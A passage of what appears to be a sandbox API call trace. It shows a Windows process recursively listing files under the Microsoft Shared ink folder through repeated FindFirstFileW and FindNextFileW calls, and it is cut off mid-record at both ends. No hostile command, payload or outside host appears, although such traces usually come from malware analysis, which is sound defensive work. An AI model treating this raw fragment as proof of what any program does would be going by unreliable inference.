ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0165.854] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0165.854] GetProcessHeap () returned 0x6a0000 [0165.854] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.854] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.855] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.855] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.855] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.855] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.855] GetProcessHeap () returned 0x6a0000 [0165.855] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.855] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0165.855] GetProcessHeap () returned 0x6a0000 [0165.855] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.872] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.872] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0165.872] GetProcessHeap () returned 0x6a0000 [0165.872] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3757568 [0165.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0165.873] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.873] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0165.873] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0165.873] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0165.873] GetProcessHeap () returned 0x6a0000 [0165.873] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3757568 | out: hHeap=0x6a0000) returned 1 [0165.874] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0165.874] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0165.874] GetProcessHeap () returned 0x6a0000 [0165.874] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3757568 [0165.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0165.874] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.874] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0165.874] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0165.874] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0165.874] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0165.874] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0165.874] GetProcessHeap () returned 0x6a0000 [0165.874] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3757568 | out: hHeap=0x6a0000) returned 1 [0165.875] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0165.875] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0165.875] GetProcessHeap () returned 0x6a0000 [0165.875] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3757568 [0165.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0165.887] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.887] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0165.887] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0165.887] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0165.887] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0165.887] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0165.887] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0165.887] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0165.888] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0165.888] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0165.888] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0165.888] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0165.888] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0165.888] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0165.888] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0165.888] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0165.889] GetProcessHeap () returned 0x6a0000 [0165.889] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3757568 | out: hHeap=0x6a0000) returned 1 [0165.889] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0165.889] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0165.889] GetProcessHeap () returned 0x6a0000 [0165.889] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3757568 [0165.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0165.890] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, 